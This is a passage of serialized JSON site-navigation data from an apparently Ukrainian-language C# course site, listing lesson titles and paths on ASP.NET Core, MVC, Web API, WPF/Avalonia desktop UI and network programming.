MediatR в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований 